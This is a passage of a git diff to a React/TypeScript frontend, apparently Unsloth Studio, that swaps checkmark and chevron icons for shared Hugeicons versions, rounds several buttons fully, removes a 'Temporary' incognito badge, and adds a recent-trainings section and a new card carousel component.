       aria-label="Copy reasoning"
     >
       {copied ? (
-        <CheckIcon className="size-3" />
+        <HugeiconsIcon icon={Tick02Icon} strokeWidth={2} className="size-3" />
       ) : (
         <CopyIcon className="size-3" />
       )}
diff --git a/studio/frontend/src/components/assistant-ui/tool-fallback.tsx b/studio/frontend/src/components/assistant-ui/tool-fallback.tsx
index 965ad56bfa..20a22c3a4a 100644
--- a/studio/frontend/src/components/assistant-ui/tool-fallback.tsx
+++ b/studio/frontend/src/components/assistant-ui/tool-fallback.tsx
@@ -17,11 +17,12 @@ import {
 } from "@assistant-ui/react";
 import {
   AlertCircleIcon,
-  CheckIcon,
   ChevronDownIcon,
   LoaderIcon,
   XCircleIcon,
 } from "lucide-react";
+import { Tick02Icon } from "@/lib/tick-icon";
+import { HugeiconsIcon } from "@hugeicons/react";
 import {
   type CSSProperties,
   type ComponentProps,
@@ -95,9 +96,15 @@ function ToolFallbackRoot({
 
 type ToolStatus = ToolCallMessagePartStatus["type"];
 
+// The shared app tick is icon data, not a component; wrap it to slot into the
+// status map alongside the lucide icons.
+function CompleteTickIcon(props: Omit<ComponentProps<typeof HugeiconsIcon>, "icon">) {
+  return <HugeiconsIcon icon={Tick02Icon} strokeWidth={2} {...props} />;
+}
+
 const statusIconMap: Record<ToolStatus, ElementType> = {
   running: LoaderIcon,
-  complete: CheckIcon,
+  complete: CompleteTickIcon,
   incomplete: XCircleIcon,
   "requires-action": AlertCircleIcon,
 };
diff --git a/studio/frontend/src/components/assistant-ui/tool-ui-code-execution.tsx b/studio/frontend/src/components/assistant-ui/tool-ui-code-execution.tsx
index 23a83bc5ba..84309815e5 100644
--- a/studio/frontend/src/components/assistant-ui/tool-ui-code-execution.tsx
+++ b/studio/frontend/src/components/assistant-ui/tool-ui-code-execution.tsx
@@ -8,12 +8,9 @@ import {
   type ToolCallMessagePartComponent,
   useAuiState,
 } from "@assistant-ui/react";
-import {
-  CheckIcon,
-  CopyIcon,
-  FileTextIcon,
-  TerminalIcon,
-} from "lucide-react";
+import { CopyIcon, FileTextIcon, TerminalIcon } from "lucide-react";
+import { Tick02Icon } from "@/lib/tick-icon";
+import { HugeiconsIcon } from "@hugeicons/react";
 import { Spinner } from "@/components/ui/spinner";
 import { memo, useCallback, useEffect, useMemo, useRef, useState } from "react";
 import {
@@ -93,7 +90,7 @@ function CopyBtn({ text }: { text: string }) {
       aria-label="Copy to clipboard"
     >
       {copied ? (
-        <CheckIcon className="size-3" />
+        <HugeiconsIcon icon={Tick02Icon} strokeWidth={2} className="size-3" />
       ) : (
         <CopyIcon className="size-3" />
       )}
diff --git a/studio/frontend/src/components/assistant-ui/tool-ui-python.tsx b/studio/frontend/src/components/assistant-ui/tool-ui-python.tsx
index d7b0e58f18..1afffaed7d 100644
--- a/studio/frontend/src/components/assistant-ui/tool-ui-python.tsx
+++ b/studio/frontend/src/components/assistant-ui/tool-ui-python.tsx
@@ -7,7 +7,9 @@ import { copyToClipboard } from "@/lib/copy-to-clipboard";
 import { getAuthToken } from "@/features/auth/session";
 import type { ToolCallMessagePartComponent } from "@assistant-ui/react";
 import { code as codePlugin } from "@streamdown/code";
-import { CheckIcon, CodeIcon, CopyIcon } from "lucide-react";
+import { CodeIcon, CopyIcon } from "lucide-react";
+import { Tick02Icon } from "@/lib/tick-icon";
+import { HugeiconsIcon } from "@hugeicons/react";
 import { Spinner } from "@/components/ui/spinner";
 import { memo, useCallback, useEffect, useMemo, useRef, useState } from "react";
 import { Streamdown } from "streamdown";
@@ -63,7 +65,7 @@ function CopyBtn({ text }: { text: string }) {
       aria-label="Copy to clipboard"
     >
       {copied ? (
-        <CheckIcon className="size-3" />
+        <HugeiconsIcon icon={Tick02Icon} strokeWidth={2} className="size-3" />
       ) : (
         <CopyIcon className="size-3" />
       )}
diff --git a/studio/frontend/src/components/assistant-ui/tool-ui-terminal.tsx b/studio/frontend/src/components/assistant-ui/tool-ui-terminal.tsx
index 3c12b16e6b..c088d5cf98 100644
--- a/studio/frontend/src/components/assistant-ui/tool-ui-terminal.tsx
+++ b/studio/frontend/src/components/assistant-ui/tool-ui-terminal.tsx
@@ -5,7 +5,9 @@
 
 import { copyToClipboard } from "@/lib/copy-to-clipboard";
 import type { ToolCallMessagePartComponent } from "@assistant-ui/react";
-import { CheckIcon, CopyIcon, TerminalIcon } from "lucide-react";
+import { CopyIcon, TerminalIcon } from "lucide-react";
+import { Tick02Icon } from "@/lib/tick-icon";
+import { HugeiconsIcon } from "@hugeicons/react";
 import { Spinner } from "@/components/ui/spinner";
 import { memo, useCallback, useEffect, useRef, useState } from "react";
 import {
@@ -53,7 +55,7 @@ function CopyBtn({ text }: { text: string }) {
       aria-label="Copy to clipboard"
     >
       {copied ? (
-        <CheckIcon className="size-3" />
+        <HugeiconsIcon icon={Tick02Icon} strokeWidth={2} className="size-3" />
       ) : (
         <CopyIcon className="size-3" />
       )}
diff --git a/studio/frontend/src/components/ui/combobox.tsx b/studio/frontend/src/components/ui/combobox.tsx
index 7bf0d7bf75..db2d494b6d 100644
--- a/studio/frontend/src/components/ui/combobox.tsx
+++ b/studio/frontend/src/components/ui/combobox.tsx
@@ -7,7 +7,7 @@
 
 import { Combobox as ComboboxPrimitive } from "@base-ui/react";
 import * as React from "react";
-import { createContext, useContext, useState } from "react";
+import { createContext, useState } from "react";
 
 import { Button } from "@/components/ui/button";
 import { useDialogPortalContainer } from "@/components/ui/dialog";
@@ -18,11 +18,9 @@ import {
   InputGroupInput,
 } from "@/components/ui/input-group";
 import { Tick02Icon } from "@/lib/tick-icon";
+import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
 import { cn } from "@/lib/utils";
-import {
-  ArrowDown01Icon,
-  Cancel01Icon,
-} from "@hugeicons/core-free-icons";
+import { Cancel01Icon } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 
 const ComboboxOpenContext = createContext(false);
@@ -68,7 +66,7 @@ function ComboboxTrigger({
     >
       {children}
       <HugeiconsIcon
-        icon={ArrowDown01Icon}
+        icon={ChevronDownStandardIcon}
         strokeWidth={2}
         className="text-muted-foreground size-4 pointer-events-none"
       />
@@ -107,18 +105,8 @@ function ComboboxInput({
   showTrigger?: boolean;
   showClear?: boolean;
 }): React.ReactElement {
-  const isOpen = useContext(ComboboxOpenContext);
-
   return (
-    <InputGroup
-      className={cn("w-auto", className)}
-      style={{
-        borderRadius: isOpen ? "12px" : undefined,
-        transition: isOpen
-          ? "border-radius 0ms"
-          : "border-radius 150ms cubic-bezier(0.645, 0.045, 0.355, 1)",
-      }}
-    >
+    <InputGroup className={cn("w-auto", className)}>
       <ComboboxPrimitive.Input
         render={<InputGroupInput disabled={disabled} />}
         {...props}
@@ -130,7 +118,7 @@ function ComboboxInput({
             variant="ghost"
             asChild
             data-slot="input-group-button"
-            className="group-has-data-[slot=combobox-clear]/input-group:hidden data-pressed:bg-transparent"
+            className="group-has-data-[slot=combobox-clear]/input-group:hidden bg-transparent hover:bg-transparent data-pressed:bg-transparent aria-expanded:bg-transparent dark:hover:bg-transparent"
             disabled={disabled}
           >
             <ComboboxTrigger />
@@ -209,7 +197,7 @@ function ComboboxItem({
     <ComboboxPrimitive.Item
       data-slot="combobox-item"
       className={cn(
-        "data-highlighted:bg-accent data-highlighted:text-accent-foreground not-data-[variant=destructive]:data-highlighted:**:text-accent-foreground gap-2 rounded-xl corner-squircle py-2 pr-2 pl-3 text-sm [&[aria-selected=true]]:pr-7 [&_svg:not([class*='size-'])]:size-4 relative flex w-full cursor-pointer items-center outline-hidden select-none data-[disabled]:pointer-events-none data-[disabled]:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0",
+        "data-highlighted:bg-accent data-highlighted:text-accent-foreground not-data-[variant=destructive]:data-highlighted:**:text-accent-foreground gap-2 rounded-[10px] py-2 pr-2 pl-3 text-sm [&[aria-selected=true]]:pr-7 [&_svg:not([class*='size-'])]:size-4 relative flex w-full cursor-pointer items-center outline-hidden select-none data-[disabled]:pointer-events-none data-[disabled]:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0",
         className,
       )}
       {...props}
diff --git a/studio/frontend/src/components/ui/select.tsx b/studio/frontend/src/components/ui/select.tsx
index f3a6a41b68..07f39fa935 100644
--- a/studio/frontend/src/components/ui/select.tsx
+++ b/studio/frontend/src/components/ui/select.tsx
@@ -8,6 +8,7 @@ import type * as React from "react";
 import { createContext, useContext, useState } from "react";
 
 import { Tick02Icon } from "@/lib/tick-icon";
+import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
 import { cn } from "@/lib/utils";
 import { useDialogPortalContainer } from "@/components/ui/dialog";
 import {
@@ -98,7 +99,7 @@ function SelectTrigger({
       {children}
       <SelectPrimitive.Icon asChild>
         <HugeiconsIcon
-          icon={icon ?? UnfoldMoreIcon}
+          icon={icon ?? ChevronDownStandardIcon}
           strokeWidth={2}
           className={cn(
             "text-muted-foreground size-4 pointer-events-none",
diff --git a/studio/frontend/src/features/chat/artifacts/artifact-surface.tsx b/studio/frontend/src/features/chat/artifacts/artifact-surface.tsx
index b27acdf6ee..7c46ab11ba 100644
--- a/studio/frontend/src/features/chat/artifacts/artifact-surface.tsx
+++ b/studio/frontend/src/features/chat/artifacts/artifact-surface.tsx
@@ -13,14 +13,9 @@ import { MascotImg } from "@/components/mascot-img";
 import { Button } from "@/components/ui/button";
 import { copyToClipboard } from "@/lib/copy-to-clipboard";
 import { cn } from "@/lib/utils";
-import {
-  CheckIcon,
-  CopyIcon,
-  EyeIcon,
-  Maximize2Icon,
-  XIcon,
-} from "lucide-react";
+import { CopyIcon, EyeIcon, Maximize2Icon, XIcon } from "lucide-react";
 import { Download01Icon } from "@hugeicons/core-free-icons";
+import { Tick02Icon } from "@/lib/tick-icon";
 import { HugeiconsIcon } from "@hugeicons/react";
 import {
   type KeyboardEvent,
@@ -285,7 +280,7 @@ export function ArtifactSurface({
             aria-label="Copy canvas HTML"
           >
             {copied ? (
-              <CheckIcon className="size-4" />
+              <HugeiconsIcon icon={Tick02Icon} strokeWidth={2} className="size-4" />
             ) : (
               <CopyIcon className="size-4" />
             )}
diff --git a/studio/frontend/src/features/chat/chat-page.tsx b/studio/frontend/src/features/chat/chat-page.tsx
index f3cbd2e966..3b518f83bf 100644
--- a/studio/frontend/src/features/chat/chat-page.tsx
+++ b/studio/frontend/src/features/chat/chat-page.tsx
@@ -2152,16 +2152,6 @@ export function ChatPage(): ReactElement {
                 className="max-w-[62vw] !pr-3 sm:max-w-none !h-[34px]"
               />
             )}
-            {incognito && view.mode === "single" && (
-              <div className="flex h-[34px] shrink-0 items-center gap-1.5 self-center rounded-full bg-primary/10 px-2.5 font-medium text-[13px] text-primary">
-                <HugeiconsIcon
-                  icon={BubbleChatTemporaryIcon}
-                  strokeWidth={2}
-                  className="size-3.5"
-                />
-                <span>Temporary</span>
-              </div>
-            )}
             {view.mode !== "compare" && currentProjectId && (
               <nav
                 aria-label="Project location"
@@ -2244,7 +2234,7 @@ export function ChatPage(): ReactElement {
                     type="button"
                     onClick={toggleIncognito}
                     className={cn(
-                      "flex h-[34px] w-[34px] cursor-pointer items-center justify-center rounded-[12px] transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
+                      "flex h-[34px] w-[34px] cursor-pointer items-center justify-center rounded-full transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
                       incognito
                         ? "bg-primary/10 text-primary hover:bg-primary/15"
                         : "text-nav-fg hover:bg-nav-surface-hover hover:text-black dark:hover:text-white",
@@ -2274,7 +2264,7 @@ export function ChatPage(): ReactElement {
                   <button
                     type="button"
                     onClick={() => setSettingsOpen(true)}
-                    className="flex h-[34px] w-[34px] translate-x-[2px] cursor-pointer items-center justify-center rounded-[12px] text-nav-fg transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                    className="flex h-[34px] w-[34px] translate-x-[2px] cursor-pointer items-center justify-center rounded-full text-nav-fg transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
                     aria-label="Open run settings"
                     data-tour="chat-settings"
                   >
diff --git a/studio/frontend/src/features/chat/chat-settings-sheet.tsx b/studio/frontend/src/features/chat/chat-settings-sheet.tsx
index d6b5d658da..74c407fc3b 100644
--- a/studio/frontend/src/features/chat/chat-settings-sheet.tsx
+++ b/studio/frontend/src/features/chat/chat-settings-sheet.tsx
@@ -816,7 +816,7 @@ export function ChatSettingsPanel({
                 <button
                   type="button"
                   onClick={() => onOpenChange?.(false)}
-                  className="flex h-[34px] w-[34px] cursor-pointer items-center justify-center rounded-[12px] text-nav-icon-idle dark:text-nav-fg-muted transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                  className="flex h-[34px] w-[34px] cursor-pointer items-center justify-center rounded-full text-nav-icon-idle dark:text-nav-fg-muted transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
                   aria-label="Close run settings"
                 >
                   <HugeiconsIcon
diff --git a/studio/frontend/src/features/chat/components/chat-search-dialog.tsx b/studio/frontend/src/features/chat/components/chat-search-dialog.tsx
index cbd02d2bae..dc3e1aac29 100644
--- a/studio/frontend/src/features/chat/components/chat-search-dialog.tsx
+++ b/studio/frontend/src/features/chat/components/chat-search-dialog.tsx
@@ -84,7 +84,7 @@ export function ChatSearchDialog() {
       open={isOpen}
       onOpenChange={setOpen}
       className="chat-search-surface rounded-3xl! top-1/2 -translate-y-1/2 w-[635px] max-w-[calc(100%-2rem)] gap-0 p-0 ring-0 sm:max-w-[635px]"
-      overlayClassName="bg-transparent"
+      overlayClassName="bg-transparent supports-backdrop-filter:backdrop-blur-none"
     >
       <Command className="rounded-3xl p-0" shouldFilter={false}>
         <div className="flex items-center gap-3 border-b border-border/40 px-4 py-3">
diff --git a/studio/frontend/src/features/chat/prompt-storage/prompt-storage-dialog.tsx b/studio/frontend/src/features/chat/prompt-storage/prompt-storage-dialog.tsx
index e68e3c9d24..ee3a49526f 100644
--- a/studio/frontend/src/features/chat/prompt-storage/prompt-storage-dialog.tsx
+++ b/studio/frontend/src/features/chat/prompt-storage/prompt-storage-dialog.tsx
@@ -15,7 +15,6 @@ import { Search01Icon } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 import {
   BookmarkIcon,
-  CheckIcon,
   DownloadIcon,
   GripVerticalIcon,
   LayoutListIcon,
@@ -26,6 +25,7 @@ import {
   UploadIcon,
   XIcon,
 } from "lucide-react";
+import { Tick02Icon } from "@/lib/tick-icon";
 import {
   type ReactElement,
   useCallback,
@@ -1276,7 +1276,7 @@ function PromptCard({
             <XIcon className="size-3.5 mr-1" />Cancel
           </Button>
           <Button size="sm" onClick={handleSave}>
-            <CheckIcon className="size-3.5 mr-1" />Save
+            <HugeiconsIcon icon={Tick02Icon} strokeWidth={2} className="size-3.5 mr-1" />Save
           </Button>
         </div>
       </div>
@@ -1387,7 +1387,7 @@ function NewPromptForm({ onClose, onRefresh }: { onClose: () => void; onRefresh:
           <XIcon className="size-3.5 mr-1" />Cancel
         </Button>
         <Button size="sm" onClick={handleSave} disabled={!text.trim()}>
-          <CheckIcon className="size-3.5 mr-1" />Save Prompt
+          <HugeiconsIcon icon={Tick02Icon} strokeWidth={2} className="size-3.5 mr-1" />Save Prompt
         </Button>
       </div>
     </div>
@@ -1486,7 +1486,7 @@ function PromptListCard({
             onClick={handleSave}
             disabled={items.filter((t) => t.trim()).length === 0}
           >
-            <CheckIcon className="size-3.5 mr-1" />Save List
+            <HugeiconsIcon icon={Tick02Icon} strokeWidth={2} className="size-3.5 mr-1" />Save List
           </Button>
         </div>
       </div>
@@ -1637,7 +1637,7 @@ function NewPromptListForm({ onClose, onRefresh }: { onClose: () => void; onRefr
           onClick={handleSave}
           disabled={items.filter((t) => t.trim()).length === 0}
         >
-          <CheckIcon className="size-3.5 mr-1" />Save Prompt List
+          <HugeiconsIcon icon={Tick02Icon} strokeWidth={2} className="size-3.5 mr-1" />Save Prompt List
         </Button>
       </div>
     </div>
diff --git a/studio/frontend/src/features/data-recipes/pages/data-recipes-page.tsx b/studio/frontend/src/features/data-recipes/pages/data-recipes-page.tsx
index 76f443afe4..005455cd94 100644
--- a/studio/frontend/src/features/data-recipes/pages/data-recipes-page.tsx
+++ b/studio/frontend/src/features/data-recipes/pages/data-recipes-page.tsx
@@ -41,6 +41,7 @@ import {
 } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 import { useNavigate } from "@tanstack/react-router";
+import { RecentTrainingsSection } from "@/features/studio/recent-trainings-section";
 import type { ReactElement } from "react";
 import { useEffect, useState } from "react";
 import {
@@ -528,6 +529,8 @@ export function DataRecipesPage(): ReactElement {
             ))}
           </div>
         )}
+
+        <RecentTrainingsSection />
       </main>
 
       <Dialog open={learningDialogOpen} onOpenChange={setLearningDialogOpen}>
diff --git a/studio/frontend/src/features/export/export-page.tsx b/studio/frontend/src/features/export/export-page.tsx
index 8180849733..e467b10d24 100644
--- a/studio/frontend/src/features/export/export-page.tsx
+++ b/studio/frontend/src/features/export/export-page.tsx
@@ -2,6 +2,7 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import { SectionCard } from "@/components/section-card";
+import { RecentTrainingsSection } from "@/features/studio/recent-trainings-section";
 import { Button } from "@/components/ui/button";
 import {
   Combobox,
@@ -1129,6 +1130,8 @@ export function ExportPage() {
             </>
           )}
         </SectionCard>
+
+        <RecentTrainingsSection />
       </main>
 
       <ExportDialog
diff --git a/studio/frontend/src/features/hub/catalog/card-carousel.tsx b/studio/frontend/src/features/hub/catalog/card-carousel.tsx
new file mode 100644
index 0000000000..932df88ff6
--- /dev/null
+++ b/studio/frontend/src/features/hub/catalog/card-carousel.tsx
@@ -0,0 +1,149 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { cn } from "@/lib/utils";
+import { ArrowLeft01Icon, ArrowRight01Icon } from "@hugeicons/core-free-icons";
+import { HugeiconsIcon } from "@hugeicons/react";
+import {
+  type ReactNode,
+  useCallback,
+  useEffect,
+  useRef,
+  useState,
+} from "react";
+
+export const CARD_GAP_PX = 16;
+const CAROUSEL_TOP_PADDING_PX = 8;
+
+export function CarouselArrow({
+  side,
+  visible,
+  centerPx,
+  onClick,
+}: {
+  side: "left" | "right";
+  visible: boolean;
+  centerPx: number;
+  onClick: () => void;
+}) {
+  return (
+    <button
+      type="button"
+      aria-label={side === "left" ? "Scroll left" : "Scroll right"}
+      aria-hidden={!visible}
+      tabIndex={visible ? 0 : -1}
+      onClick={onClick}
+      style={{ top: centerPx }}
+      className={cn(
+        "hub-carousel-arrow absolute z-10 inline-flex size-9 -translate-y-1/2 items-center justify-center rounded-full",
+        side === "left" ? "left-0 -translate-x-1/2" : "right-0 translate-x-1/2",
+        visible
+          ? "opacity-20 group-hover/carousel:opacity-100"
+          : "pointer-events-none opacity-0",
+      )}
+    >
+      <HugeiconsIcon
+        icon={side === "left" ? ArrowLeft01Icon : ArrowRight01Icon}
+        strokeWidth={2}
+        className="size-4"
+      />
+    </button>
+  );
+}
+
+export function CardCarousel<T>({
+  items,
+  getKey,
+  renderItem,
+  itemWidth,
+  itemHeight,
+  ariaLabel,
+}: {
+  items: T[];
+  getKey: (item: T) => string;
+  renderItem: (item: T) => ReactNode;
+  itemWidth: number;
+  itemHeight: number;
+  ariaLabel: string;
+}) {
+  const scrollerRef = useRef<HTMLDivElement>(null);
+  const [canLeft, setCanLeft] = useState(false);
+  const [canRight, setCanRight] = useState(false);
+  const stepPx = itemWidth + CARD_GAP_PX;
+  const arrowCenterPx = CAROUSEL_TOP_PADDING_PX + itemHeight / 2;
+
+  const updateArrows = useCallback(() => {
+    const el = scrollerRef.current;
+    if (!el) return;
+    setCanLeft(el.scrollLeft > 1);
+    setCanRight(el.scrollLeft + el.clientWidth < el.scrollWidth - 1);
+  }, []);
+
+  useEffect(() => {
+    const el = scrollerRef.current;
+    if (!el) return;
+    updateArrows();
+    const observer = new ResizeObserver(updateArrows);
+    observer.observe(el);
+    return () => observer.disconnect();
+  }, [updateArrows]);
+
+  useEffect(() => {
+    updateArrows();
+  }, [updateArrows, items]);
+
+  const scrollByCards = useCallback(
+    (direction: 1 | -1) => {
+      scrollerRef.current?.scrollBy({
+        left: direction * stepPx,
+        behavior: "smooth",
+      });
+    },
+    [stepPx],
+  );
+
+  return (
+    <div className="relative">
+      <div
+        ref={scrollerRef}
+        onScroll={updateArrows}
+        aria-label={ariaLabel}
+        className="hub-carousel flex snap-x gap-4 overflow-x-auto pb-4 pt-2"
+      >
+        {items.map((item) => (
+          <div
+            key={getKey(item)}
+            className="shrink-0 snap-start"
+            style={{ width: itemWidth, height: itemHeight }}
+          >
+            {renderItem(item)}
+          </div>
+        ))}
+      </div>
+      <div
+        aria-hidden="true"
+        data-visible={canLeft || undefined}
+        className="hub-carousel-fade hub-carousel-fade-left"
+        style={{ top: CAROUSEL_TOP_PADDING_PX, height: itemHeight }}
+      />
+      <div
+        aria-hidden="true"
+        data-visible={canRight || undefined}
+        className="hub-carousel-fade hub-carousel-fade-right"
+        style={{ top: CAROUSEL_TOP_PADDING_PX, height: itemHeight }}
+      />
+      <CarouselArrow
+        side="left"
+        visible={canLeft}
+        centerPx={arrowCenterPx}
+        onClick={() => scrollByCards(-1)}
+      />
+      <CarouselArrow
+        side="right"
+        visible={canRight}
+        centerPx={arrowCenterPx}
+        onClick={() => scrollByCards(1)}
+      />
+    </div>
+  );
+}
diff --git a/studio/frontend/src/features/hub/catalog/catalog-states.tsx b/studio/frontend/src/features/hub/catalog/catalog-states.tsx
index 1df85a6f81..1d9eb63718 100644
--- a/studio/frontend/src/features/hub/catalog/catalog-states.tsx
+++ b/studio/frontend/src/features/hub/catalog/catalog-states.tsx
@@ -5,7 +5,7 @@ import {
   CloudOffIcon,
   CubeIcon,
   FilterIcon,
-  RefreshIcon,
+  Refresh01Icon,
   WifiDisconnected02Icon,
 } from "@hugeicons/core-free-icons";
 import type { IconSvgElement } from "@hugeicons/react";
@@ -50,7 +50,7 @@ export function NetworkErrorState({
           <button
             type="button"
             onClick={onSwitchDevice}
-            className="inline-flex h-8 items-center gap-1.5 rounded-[10px] bg-foreground/[0.06] px-3 text-[12px] font-medium text-foreground transition-colors hover:bg-foreground/[0.1] dark:bg-white/[0.06] dark:hover:bg-white/[0.1]"
+            className="inline-flex h-8 items-center gap-1.5 rounded-full bg-foreground/[0.06] px-3 text-[12px] font-medium text-foreground transition-colors hover:bg-foreground/[0.1] dark:bg-white/[0.06] dark:hover:bg-white/[0.1]"
           >
             On Device
           </button>
@@ -58,10 +58,10 @@ export function NetworkErrorState({
         <button
           type="button"
           onClick={onRetry}
-          className="inline-flex h-8 items-center gap-1.5 rounded-[10px] bg-transparent px-3 text-[12px] font-medium text-foreground transition-colors hover:bg-foreground/[0.04] dark:hover:bg-white/[0.1]"
+          className="inline-flex h-8 items-center gap-1.5 rounded-full bg-transparent px-3 text-[12px] font-medium text-foreground transition-colors hover:bg-foreground/[0.04] dark:hover:bg-white/[0.05]"
         >
           <HugeiconsIcon
-            icon={RefreshIcon}
+            icon={Refresh01Icon}
             strokeWidth={1.75}
             className="size-3.5"
           />
@@ -104,7 +104,7 @@ export function DiscoverFetchMoreState({
           <button
             type="button"
             onClick={onClearFilters}
-            className="inline-flex h-8 items-center gap-1.5 rounded-[10px] bg-foreground/[0.06] px-3 text-[12px] font-medium text-foreground transition-colors hover:bg-foreground/[0.1] dark:bg-white/[0.06] dark:hover:bg-white/[0.1]"
+            className="inline-flex h-8 items-center gap-1.5 rounded-full bg-foreground/[0.06] px-3 text-[12px] font-medium text-foreground transition-colors hover:bg-foreground/[0.1] dark:bg-white/[0.06] dark:hover:bg-white/[0.1]"
           >
             Clear filters
           </button>
@@ -113,10 +113,10 @@ export function DiscoverFetchMoreState({
           type="button"
           onClick={onFetchMore}
           disabled={isLoadingMore}
-          className="inline-flex h-8 items-center gap-1.5 rounded-[10px] bg-transparent px-3 text-[12px] font-medium text-foreground transition-colors hover:bg-foreground/[0.04] disabled:cursor-not-allowed disabled:opacity-50 dark:hover:bg-white/[0.1]"
+          className="inline-flex h-8 items-center gap-1.5 rounded-full bg-transparent px-3 text-[12px] font-medium text-foreground transition-colors hover:bg-foreground/[0.04] disabled:cursor-not-allowed disabled:opacity-50 dark:hover:bg-white/[0.05]"
         >
           <HugeiconsIcon
-            icon={RefreshIcon}
+            icon={Refresh01Icon}
             strokeWidth={1.75}
             className="size-3.5"
           />
@@ -128,35 +128,30 @@ export function DiscoverFetchMoreState({
 }
 
 export function DiscoverFetchMoreFooter({
-  scannedCount,
-  manualFetchAvailable,
   hasActiveFilters,
   isLoadingMore,
   onFetchMore,
 }: {
-  scannedCount: number;
-  manualFetchAvailable: boolean;
   hasActiveFilters: boolean;
   isLoadingMore: boolean;
   onFetchMore: () => void;
 }) {
   return (
-    <div className="relative z-10 flex flex-col items-center gap-2 bg-card px-4 py-4 text-center">
-      <p className="text-[11.5px] leading-4 text-muted-foreground">
-        {hasActiveFilters
-          ? "Some results may be hidden by your filters."
-          : manualFetchAvailable
-            ? `Scanned ${scannedCount.toLocaleString()} results. Load more to continue.`
-            : "More results are available."}
-      </p>
+    <div className="relative z-10 flex flex-col items-center gap-2 rounded-[16px] bg-card px-4 py-4 text-center">
+      {/* Only warn about hidden results when a filter is actually narrowing them. */}
+      {hasActiveFilters && (
+        <p className="text-[11.5px] leading-4 text-muted-foreground">
+          Some results may be hidden by your filters.
+        </p>
+      )}
       <button
         type="button"
         onClick={onFetchMore}
         disabled={isLoadingMore}
-        className="inline-flex h-8 items-center gap-1.5 rounded-[10px] bg-foreground/[0.06] px-3 text-[12px] font-medium text-foreground transition-colors hover:bg-foreground/[0.1] disabled:cursor-not-allowed disabled:opacity-50 dark:bg-white/[0.06] dark:hover:bg-white/[0.1]"
+        className="inline-flex h-8 items-center gap-1.5 rounded-full bg-foreground/[0.06] px-3 text-[12px] font-medium text-foreground transition-colors hover:bg-foreground/[0.1] disabled:cursor-not-allowed disabled:opacity-50 dark:bg-white/[0.06] dark:hover:bg-white/[0.1]"
       >
         <HugeiconsIcon
-          icon={RefreshIcon}
+          icon={Refresh01Icon}
           strokeWidth={1.75}
           className="size-3.5"
         />
@@ -191,9 +186,9 @@ export function InventoryErrorState({
       <button
         type="button"
         onClick={onRetry}
-        className="inline-flex h-8 items-center gap-1.5 rounded-[10px] bg-transparent px-3 text-[12px] font-medium text-foreground transition-colors hover:bg-foreground/[0.04] dark:hover:bg-white/[0.1]"
+        className="inline-flex h-8 items-center gap-1.5 rounded-full bg-transparent px-3 text-[12px] font-medium text-foreground transition-colors hover:bg-foreground/[0.04] dark:hover:bg-white/[0.05]"
       >
-        <HugeiconsIcon icon={RefreshIcon} strokeWidth={1.75} className="size-3.5" />
+        <HugeiconsIcon icon={Refresh01Icon} strokeWidth={1.75} className="size-3.5" />
         Try again
       </button>
     </div>
diff --git a/studio/frontend/src/features/hub/catalog/dataset-download-section.tsx b/studio/frontend/src/features/hub/catalog/dataset-download-section.tsx
index 253d818116..d407517663 100644
--- a/studio/frontend/src/features/hub/catalog/dataset-download-section.tsx
+++ b/studio/frontend/src/features/hub/catalog/dataset-download-section.tsx
@@ -160,7 +160,7 @@ export function DatasetDownloadSection({
           )}
         </div>
       </div>
-      {/* Train CTA hidden until Hub->train picker ships; divider pairs with it. */}
+      {/* Train CTA hidden until Hub→train picker ships; divider pairs with it. */}
       {(!isDownloaded || downloading || HUB_POST_DOWNLOAD_ACTIONS_VISIBLE) && (
         <CardDivider />
       )}
diff --git a/studio/frontend/src/features/hub/catalog/download-cancel-indicator.tsx b/studio/frontend/src/features/hub/catalog/download-cancel-indicator.tsx
index d1b8671bfe..48bb9c1bce 100644
--- a/studio/frontend/src/features/hub/catalog/download-cancel-indicator.tsx
+++ b/studio/frontend/src/features/hub/catalog/download-cancel-indicator.tsx
@@ -8,7 +8,8 @@ import { HugeiconsIcon } from "@hugeicons/react";
 /**
  * Inspector action-button affordance during a download: spinner that cross-fades
  * to a cancel glyph on `.hub-action-btn` hover, in the same 16x16 slot so the
- * percentage label never shifts. The swap is pure CSS; the component only carries
+ * percentage label never shifts. The swap is pure CSS
+ * (`.hub-action-btn:hover .hub-cta-indicator-*`); the component only carries
  * the marker classes.
  */
 export function DownloadCancelIndicator() {
diff --git a/studio/frontend/src/features/hub/catalog/download-card.tsx b/studio/frontend/src/features/hub/catalog/download-card.tsx
index e5253526ab..5083fb2f84 100644
--- a/studio/frontend/src/features/hub/catalog/download-card.tsx
+++ b/studio/frontend/src/features/hub/catalog/download-card.tsx
@@ -34,8 +34,9 @@ import {
 } from "./use-download-card-state";
 
 /**
- * Shared shell for every download surface (safetensors, GGUF, dataset): card frame,
- * progress bar, transport-conflict dialog, plus card-specific `dialogs` and children.
+ * Shared shell for every download surface (safetensors, GGUF, dataset): card
+ * frame, progress bar, transport-conflict dialog, plus card-specific `dialogs`
+ * and children.
  */
 export function DownloadCard({
   job,
@@ -94,7 +95,7 @@ export function CardDeleteButton({
             e.stopPropagation();
             onClick();
           }}
